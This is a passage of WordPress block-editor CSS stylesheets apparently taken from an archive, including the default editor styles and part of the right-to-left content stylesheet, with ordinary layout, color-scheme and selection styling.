0;padding:0;width:100%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{flex-shrink:1;list-style:none;margin:8px 0 0 20px;text-align:center;width:75px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{display:inline-flex;margin-left:0}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{padding:8px}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:12px;line-height:1.4}.block-editor-block-variation-picker__variation{width:100%}.block-editor-block-variation-picker__variation.components-button.has-icon{justify-content:center;width:auto}.block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{background-color:#fff}.block-editor-block-variation-picker__variation.components-button{height:auto;padding:0}.block-editor-block-variation-picker__variation:before{content:"";padding-bottom:100%}.block-editor-block-variation-picker__variation:first-child{margin-right:0}.block-editor-block-variation-picker__variation:last-child{margin-left:0}.block-editor-button-block-appender{align-items:center;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:flex;flex-direction:column;height:auto;justify-content:center;width:100%}.block-editor-button-block-appender.components-button.components-button{padding:12px}.is-dark-theme .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65);color:hsla(0,0%,100%,.65)}.block-editor-button-block-appender:hover{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);color:var(--wp-admin-theme-color)}.block-editor-button-block-appender:focus{box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.block-editor-button-block-appender:active{color:#000}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child{pointer-events:none}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after{border:1px dashed;border-radius:2px;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter{visibility:hidden}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after{border:none}.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter{visibility:visible}.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{border:none}.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{background-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65);color:hsla(0,0%,100%,.65);transition:background-color .2s ease-in-out}@media (prefers-reduced-motion:reduce){.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{transition:none}}.block-editor-default-block-appender{clear:both;margin-left:auto;margin-right:auto;position:relative}.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{outline:1px solid transparent}.block-editor-default-block-appender .block-editor-default-block-appender__content{opacity:.62}:where(body .is-layout-constrained) .block-editor-default-block-appender>:first-child:first-child{-webkit-margin-before:0;margin-block-start:0}.block-editor-default-block-appender .components-drop-zone__content-icon{display:none}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;border-radius:2px;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{left:0;line-height:0;position:absolute;top:0}.block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender .block-editor-inserter:disabled{display:none}.block-editor-block-list__block .block-list-appender{bottom:0;left:0;list-style:none;padding:0;position:absolute;z-index:2}.block-editor-block-list__block .block-list-appender.block-list-appender{line-height:0;margin:0}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{height:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{background:#1e1e1e;box-shadow:none;color:#fff;display:none;flex-direction:row;height:24px;min-width:24px;padding:0!important;width:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{display:none}.block-editor-block-list__block .block-list-appender:only-child{align-self:center;left:auto;line-height:inherit;list-style:none;position:relative}.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{display:block}.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{display:flex}.block-editor-default-block-appender__content{cursor:text}.block-editor-block-list__layout.has-overlay:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:60}.block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{margin-bottom:0}.block-editor-media-placeholder__url-input-form{display:flex}.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{border:none;border-radius:0;flex-grow:1;margin:2px;min-width:200px;width:100%}@media (min-width:600px){.block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{width:300px}}.block-editor-media-placeholder__url-input-submit-button{flex-shrink:1}.block-editor-media-placeholder__button{margin-bottom:.5rem}.block-editor-media-placeholder__cancel-button.is-link{display:block;margin:1em}.block-editor-media-placeholder.is-appender{min-height:0}.block-editor-media-placeholder.is-appender:hover{box-shadow:0 0 0 1px var(--wp-admin-theme-color);cursor:pointer}.block-editor-plain-text{border:none;box-shadow:none;color:inherit;font-family:inherit;font-size:inherit;line-height:inherit;margin:0;padding:0;width:100%}.rich-text [data-rich-text-placeholder]{pointer-events:none}.rich-text [data-rich-text-placeholder]:after{content:attr(data-rich-text-placeholder);opacity:.62}.rich-text:focus{outline:none}.rich-text:focus [data-rich-text-format-boundary]{border-radius:2px}.block-editor-rich-text__editable>p:first-child{margin-top:0}figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{opacity:.8}[data-rich-text-script]{display:inline}[data-rich-text-script]:before{background:#ff0;content:""}.block-editor-warning{align-items:center;background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;display:flex;flex-wrap:wrap;padding:1em}.block-editor-warning,.block-editor-warning .block-editor-warning__message{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.block-editor-warning .block-editor-warning__message{color:#1e1e1e;font-size:13px;line-height:1.4;margin:0}.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{min-height:auto}.block-editor-warning .block-editor-warning__contents{align-items:baseline;display:flex;flex-direction:row;flex-wrap:wrap;justify-content:space-between;width:100%}.block-editor-warning .block-editor-warning__actions{align-items:center;display:flex;margin-top:1em}.block-editor-warning .block-editor-warning__action{margin:0 0 0 8px}.block-editor-warning__secondary{margin:auto 8px auto 0}.components-popover.block-editor-warning__dropdown{z-index:99998}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}css/dist/block-editor/default-editor-styles.min.css000064400000001317151202620300016373 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}body{--wp--style--block-gap:2em;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:18px;line-height:1.5}p{line-height:1.8}.editor-post-title__block{font-size:2.5em;font-weight:800;margin-bottom:1em;margin-top:2em}css/dist/block-editor/default-editor-styles.css000064400000001450151202620300015607 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } body{ --wp--style--block-gap:2em; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:18px; line-height:1.5; } p{ line-height:1.8; } .editor-post-title__block{ font-size:2.5em; font-weight:800; margin-bottom:1em; margin-top:2em; }css/dist/block-editor/content-rtl.css000064400000074633151202620300013644 0ustar00:root{ --wp-admin-theme-color:#007cba; --wp-admin-theme-color--rgb:0, 124, 186; --wp-admin-theme-color-darker-10:#006ba1; --wp-admin-theme-color-darker-10--rgb:0, 107, 161; --wp-admin-theme-color-darker-20:#005a87; --wp-admin-theme-color-darker-20--rgb:0, 90, 135; --wp-admin-border-width-focus:2px; --wp-block-synced-color:#7a00df; --wp-block-synced-color--rgb:122, 0, 223; } @media (min-resolution:192dpi){ :root{ --wp-admin-border-width-focus:1.5px; } } .block-editor-block-icon{ align-items:center; display:flex; height:24px; justify-content:center; width:24px; } .block-editor-block-icon.has-colors svg{ fill:currentColor; } @media (forced-colors:active){ .block-editor-block-icon.has-colors svg{ fill:CanvasText; } } .block-editor-block-icon svg{ max-height:24px; max-width:24px; min-height:20px; min-width:20px; } .block-editor-block-styles .block-editor-block-list__block{ margin:0; } @keyframes selection-overlay__fade-in-animation{ 0%{ opacity:0; } to{ opacity:.4; } } :root .block-editor-block-list__layout::selection,:root .has-multi-selection .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{ background-color:transparent; } .block-editor-block-list__layout{ position:relative; } .block-editor-block-list__layout:where(.block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)){ border-radius:2px; } .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{ background:transparent; } .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{ animation:selection-overlay__fade-in-animation .1s ease-out; animation-fill-mode:forwards; background:var(--wp-admin-theme-color); border-radius:2px; bottom:0; content:""; left:0; opacity:.4; outline:2px solid transparent; pointer-events:none; position:absolute; right:0; top:0; z-index:1; } @media (prefers-reduced-motion:reduce){ .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{ animation-delay:0s; animation-duration:1ms; } } .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{ box-shadow:none; } .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected{ outline:none; } .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{ border-radius:1px; bottom:1px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); content:""; left:1px; outline:2px solid transparent; pointer-events:none; position:absolute; right:1px; top:1px; z-index:1; } .is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff; } .block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{ border-radius:2px; border-top:4px solid #ccc; bottom:auto; box-shadow:none; content:""; left:0; pointer-events:none; position:absolute; right:0; top:-14px; transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear; z-index:0; } .block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:after{ border-color:var(--wp-admin-theme-color); } .has-multi-selection .block-editor-block-list__layout{ -webkit-user-select:none; user-select:none; } .block-editor-block-list__layout [class^=components-]{ -webkit-user-select:text; user-select:text; } .is-block-moving-mode.block-editor-block-list__block-selection-button{ font-size:1px; height:1px; opacity:0; padding:0; } .block-editor-block-list__layout .block-editor-block-list__block{ overflow-wrap:break-word; pointer-events:auto; position:relative; -webkit-user-select:text; user-select:text; } .block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{ pointer-events:none; -webkit-user-select:none; user-select:none; } .block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{ z-index:1; } .block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{ margin:-10px 0 12px; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{ margin:0 0 12px; width:100%; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice{ margin-left:0; margin-right:0; } .block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{ font-size:13px; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning{ min-height:48px; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{ pointer-events:none; -webkit-user-select:none; user-select:none; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{ pointer-events:all; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{ background-color:hsla(0,0%,100%,.4); border-radius:2px; bottom:0; content:""; left:0; position:absolute; right:0; top:0; } .block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{ background-color:transparent; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{ display:none; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{ display:block; } .block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{ box-shadow:0 0 0 1px var(--wp-admin-theme-color); } .block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{ float:none; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered{ cursor:default; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:after{ border-radius:1px; bottom:1px; box-shadow:0 0 0 1px var(--wp-admin-theme-color); content:""; left:1px; pointer-events:none; position:absolute; right:1px; top:1px; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{ cursor:default; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{ cursor:unset; } .is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected:after{ border-radius:2px; bottom:1px; box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); content:""; left:1px; pointer-events:none; position:absolute; right:1px; top:1px; } .is-focus-mode .block-editor-block-list__block:not(.has-child-selected){ opacity:.2; transition:opacity .1s linear; } @media (prefers-reduced-motion:reduce){ .is-focus-mode .block-editor-block-list__block:not(.has-child-selected){ transition-delay:0s; transition-duration:0s; } } .is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{ opacity:1; } .wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{ z-index:21; } .wp-site-blocks>[data-align=left]{ float:right; margin-left:2em; } .wp-site-blocks>[data-align=right]{ float:left; margin-right:2em; } .wp-site-blocks>[data-align=center]{ justify-content:center; margin-left:auto; margin-right:auto; } .block-editor-block-list .block-editor-inserter{ cursor:move; cursor:grab; margin:8px; } @keyframes block-editor-inserter__toggle__fade-in-animation{ 0%{ opacity:0; } to{ opacity:1; } } .wp-block .block-list-appender .block-editor-inserter__toggle{ animation:block-editor-inserter__toggle__fade-in-animation .1s ease; animation-fill-mode:forwards; } @media (prefers-reduced-motion:reduce){ .wp-block .block-list-appender .block-editor-inserter__toggle{ animation-delay:0s; animation-duration:1ms; } } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{ display:none; } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{ opacity:0; transform:scale(0); } .block-editor-block-list__block .block-editor-block-list__block-html-textarea{ border:none; border-radius:2px; box-shadow:inset 0 0 0 1px #1e1e1e; display:block; font-family:Menlo,Consolas,monaco,monospace; font-size:15px; line-height:1.5; margin:0; outline:none; overflow:hidden; padding:12px; resize:none; transition:padding .2s linear; width:100%; } @media (prefers-reduced-motion:reduce){ .block-editor-block-list__block .block-editor-block-list__block-html-textarea{ transition-delay:0s; transition-duration:0s; } } .block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-editor-block-list__block .block-editor-warning{ position:relative; z-index:5; } .block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{ margin-bottom:auto; } .block-editor-iframe__body{ transform-origin:top center; transition:all .3s; } .is-vertical .block-list-appender{ margin-left:auto; margin-right:12px; margin-top:12px; width:24px; } .block-list-appender>.block-editor-inserter{ display:block; } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{ opacity:0; transform:scale(0); } .block-editor-block-list__block.has-block-overlay{ cursor:default; } .block-editor-block-list__block.has-block-overlay:before{ background:transparent; border:none; border-radius:2px; content:""; height:100%; position:absolute; right:0; top:0; width:100%; z-index:10; } .block-editor-block-list__block.has-block-overlay:not(.is-multi-selected):after{ content:none !important; } .block-editor-block-list__block.has-block-overlay:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{ background:rgba(var(--wp-admin-theme-color--rgb), .04); box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset; } .block-editor-block-list__block.has-block-overlay.is-reusable:hover:not(.is-dragging-blocks):not(.is-multi-selected):before,.block-editor-block-list__block.has-block-overlay.wp-block-template-part:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{ background:rgba(var(--wp-block-synced-color--rgb), .04); box-shadow:0 0 0 1px var(--wp-block-synced-color) inset; } .block-editor-block-list__block.has-block-overlay.is-selected:not(.is-dragging-blocks):before{ box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset; } .block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{ pointer-events:none; } .block-editor-iframe__body.is-zoomed-out .block-editor-block-list__block.has-block-overlay:before{ right:calc(50% - 50vw); width:100vw; } .block-editor-block-list__layout .is-dragging{ background-color:currentColor !important; border-radius:2px !important; opacity:.05 !important; pointer-events:none !important; } .block-editor-block-list__layout .is-dragging::selection{ background:transparent !important; } .block-editor-block-list__layout .is-dragging:after{ content:none !important; } .block-editor-block-preview__content-iframe .block-list-appender{ display:none; } .block-editor-block-preview__live-content *{ pointer-events:none; } .block-editor-block-preview__live-content .block-list-appender{ display:none; } .block-editor-block-preview__live-content .components-button:disabled{ opacity:1; } .block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{ display:none; } .block-editor-block-variation-picker .components-placeholder__instructions{ margin-bottom:0; } .block-editor-block-variation-picker .components-placeholder__fieldset{ flex-direction:column; } .block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{ max-width:90%; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{ display:flex; flex-direction:row; flex-wrap:wrap; justify-content:flex-start; list-style:none; margin:16px 0; padding:0; width:100%; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{ flex-shrink:1; list-style:none; margin:8px 0 0 20px; text-align:center; width:75px; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{ display:inline-flex; margin-left:0; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{ padding:8px; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{ display:block; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:12px; line-height:1.4; } .block-editor-block-variation-picker__variation{ width:100%; } .block-editor-block-variation-picker__variation.components-button.has-icon{ justify-content:center; width:auto; } .block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{ background-color:#fff; } .block-editor-block-variation-picker__variation.components-button{ height:auto; padding:0; } .block-editor-block-variation-picker__variation:before{ content:""; padding-bottom:100%; } .block-editor-block-variation-picker__variation:first-child{ margin-right:0; } .block-editor-block-variation-picker__variation:last-child{ margin-left:0; } .block-editor-button-block-appender{ align-items:center; box-shadow:inset 0 0 0 1px #1e1e1e; color:#1e1e1e; display:flex; flex-direction:column; height:auto; justify-content:center; width:100%; } .block-editor-button-block-appender.components-button.components-button{ padding:12px; } .is-dark-theme .block-editor-button-block-appender{ box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65); color:hsla(0,0%,100%,.65); } .block-editor-button-block-appender:hover{ box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); color:var(--wp-admin-theme-color); } .block-editor-button-block-appender:focus{ box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color); } .block-editor-button-block-appender:active{ color:#000; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child{ pointer-events:none; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after{ border:1px dashed; border-radius:2px; bottom:0; content:""; left:0; pointer-events:none; position:absolute; right:0; top:0; } 